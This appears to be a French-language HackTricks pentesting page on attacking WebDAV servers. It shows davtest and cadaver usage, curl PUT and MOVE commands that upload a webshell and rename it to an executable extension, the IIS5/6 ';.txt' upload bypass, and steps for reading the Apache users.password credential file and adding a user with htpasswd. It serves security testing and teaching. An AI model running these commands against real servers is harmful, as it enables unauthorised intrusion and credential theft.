# WebDav {{#include ../../banners/hacktricks-training.md}} Lorsqu'il s'agit d'un **serveur HTTP avec WebDav** activé, il est possible de **manipuler des fichiers** si vous avez les bonnes **informations d'identification**, généralement vérifiées par **HTTP Basic Authentication**. Prendre le contrôle d'un tel serveur implique souvent le **téléchargement et l'exécution d'un webshell**. L'accès au serveur WebDav nécessite généralement des **informations d'identification valides**, le [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) étant une méthode courante pour les acquérir. Pour contourner les restrictions sur les téléchargements de fichiers, en particulier celles empêchant l'exécution de scripts côté serveur, vous pourriez : - **Télécharger** des fichiers avec des **extensions exécutables** directement si ce n'est pas restreint. - **Renommer** des fichiers non exécutables téléchargés (comme .txt) en une extension exécutable. - **Copier** des fichiers non exécutables téléchargés, en changeant leur extension en une extension exécutable. ## DavTest **Davtest** essaie de **télécharger plusieurs fichiers avec différentes extensions** et **vérifie** si l'extension est **exécutée** : ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Cela ne signifie pas que les **extensions .txt** et **.html sont exécutées**. Cela signifie que vous pouvez **accéder à ces fichiers** via le web. ## Cadaver Vous pouvez utiliser cet outil pour **vous connecter au serveur WebDav** et effectuer des actions (comme **télécharger**, **déplacer** ou **supprimer**) **manuellement**. ``` cadaver ``` ## Requête PUT ``` curl -T 'shell.txt' 'http://$ip' ``` ## Demande MOVE ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability Cette vulnérabilité est très intéressante. Le **WebDav** ne **permet pas** de **télécharger** ou de **renommer** des fichiers avec l'extension **.asp**. Mais vous pouvez **contourner** cela en **ajoutant** à la fin du nom **";.txt"** et le fichier sera **exécuté** comme s'il s'agissait d'un fichier .asp (vous pourriez également **utiliser ".html" au lieu de ".txt"** mais **N'OUBLIEZ PAS le ";"**). Ensuite, vous pouvez **télécharger** votre shell en tant que fichier ".**txt" et **le copier/déplacer dans un fichier ".asp;.txt"**. En accédant à ce fichier via le serveur web, il sera **exécuté** (cadaver dira que l'action de déplacement n'a pas fonctionné, mais c'est le cas). ![](<../../images/image (1092).png>) ## Post credentials Si le Webdav utilisait un serveur Apache, vous devriez regarder les sites configurés dans Apache. Communément :\ _**/etc/apache2/sites-enabled/000-default**_ À l'intérieur, vous pourriez trouver quelque chose comme : ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Comme vous pouvez le voir, il y a des fichiers avec les **credentials** valides pour le serveur **webdav** : ``` /etc/apache2/users.password ``` À l'intérieur de ce type de fichiers, vous trouverez le **nom d'utilisateur** et un **hash** du mot de passe. Ce sont les identifiants que le serveur webdav utilise pour authentifier les utilisateurs. Vous pouvez essayer de **craquer** ces identifiants, ou d'**ajouter** d'autres si pour une raison quelconque vous souhaitez **accéder** au serveur **webdav** : ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Pour vérifier si les nouveaux identifiants fonctionnent, vous pouvez faire : ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Références - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}